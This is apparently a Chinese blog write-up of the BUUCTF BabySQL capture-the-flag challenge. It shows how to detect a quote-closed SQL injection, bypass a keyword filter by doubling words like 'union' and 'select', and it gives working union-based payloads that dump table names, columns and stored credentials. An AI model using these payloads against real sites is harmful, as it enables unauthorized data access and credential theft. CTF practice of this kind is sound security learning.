BUUCTF__[极客大挑战 2019]BabySQL_题解

前言

  • 今天,居然有了想去当初中暑假辅导老师的想法,恐怖如斯。
  • 主要是时间短,弹性时间,还能有时间学点东西。同时有点收入。
  • 还是系列sql注入。

读题

  • 就没啥了,还是熟悉的界面。
  • 首先尝试1、1'、1" ,得出是单引号闭合的字符型。而且还有报错回显。
  • 然后再拿字典跑一下,返回长度有726、751、大于900的。
  • 726,提示输入账号密码,应该是被替换为空了,过滤了 union 、select、if 、or等等。
    在这里插入图片描述
  • 751 ,提示账号密码错误,就说明没被过滤
    在这里插入图片描述
  • 大于900的则提示sql语句错误,说明也没被过滤
  • 于是发现,双写可以绕过。
    在这里插入图片描述
  • 所以,开始尝试

解题

  • 先根据报错得出列数为3 在这里插入图片描述

  • 尝试获取数据库名称,成功得到数据库名称geek

    ?username=1' ununionion seselectlect 1,2,database()  %23&password=1
    

在这里插入图片描述

  • 读取表,有一点是information_schema.tables里也有一个被过滤的or,所以也得局部双写infoorrmation_schema.tables,成功得到表名b4bsqlgeekuser

    ?username=1' ununionion seselectlect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema=database() %23&password=1
    

在这里插入图片描述

  • 同理获取两个表的字段信息,先获取表b4bsql中的内容,得到id、username、password 字段名

    ?username=1' ununionion seselectlect 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='b4bsql' %23&password=1
    

在这里插入图片描述

  • 直接读取内容,注意password里也有个or,直接看到flag,因为太长,所以f12即可

    ?username=1' ununionion seselectlect 1,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frofromm b4bsql %23&password=1
    

在这里插入图片描述

  • 结束

最后

  • 题目不难,也没有新知识点,
  • 有一点是,可以根据做过的题目来扩展自己sql注入的字典。丰富内容。
  • 附上题目链接
  • 持续更新BUUCTF题解,写的不是很好,欢迎指正。
  • 最后欢迎来访个人博客
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值